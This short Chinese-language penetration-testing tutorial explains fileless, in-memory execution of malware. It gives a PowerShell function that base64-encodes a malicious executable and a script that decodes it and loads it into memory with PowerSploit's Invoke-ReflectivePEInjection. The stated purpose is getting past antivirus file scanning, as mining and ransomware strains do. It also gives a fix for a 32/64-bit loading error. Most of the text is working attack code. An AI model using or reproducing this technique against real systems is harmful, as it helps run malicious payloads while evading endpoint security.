目录
Something u have to know:
在渗透测试过程中,PowerShell可以将远程文件直接下载到受害者主机内存/本地中,然后从内存/本地中执行。目前挖矿病毒、勒索病毒多采用文件不落地的攻击方式(内存执行),从而可绕过常规杀毒软件文件查杀方面的防护。
0x01 文件转换内存码
将病毒文件转换为二进制字符串,可利用如下脚本:
function Convert-BinaryToString {
[CmdletBinding()] param (
[string] $FilePath
)
try {
$ByteArray = [System.IO.File]::ReadAllBytes($FilePath);
}
catch {
throw "读取文件失败。请确认您对该文件有权限,且文件路径正确。";
}
if ($ByteArray) {
$Base64String = [System.Convert]::ToBase64String($ByteArray);
}
else {
throw '$ByteArray is $null.';
}
Write-Output -InputObject $Base64String;
}
Convert-BinaryToString C:\Users\Administrator\Desktop\xxxx.xxx
0x02 内存码PE注入
Invoke-ReflectivePEInjection为PowerSpolit渗透框架下代码执行模块的一部分,我们可以先将二进制字符转换成字节数组,然后利用Invoke-ReflectivePEInjection,将将字节数组写入内存,实现PE注入。
Invoke-ReflectivePEInjection链接:https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-ReflectivePEInjection.ps1
# 填入二进制字符串
$InputString = '......'
function Invoke-ReflectivePEInjection
{
......
}
# 将二进制字符串转为字节数组
$PEBytes = [System.Convert]::FromBase64String($InputString)
# 内存中运行PE文件
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs "Arg1 Arg2 Arg3 Arg4"
如若报错:PE platform doesn’t match the architecture of the process it is being loaded in (32/64bit)
解决办法:使用32位powershell运行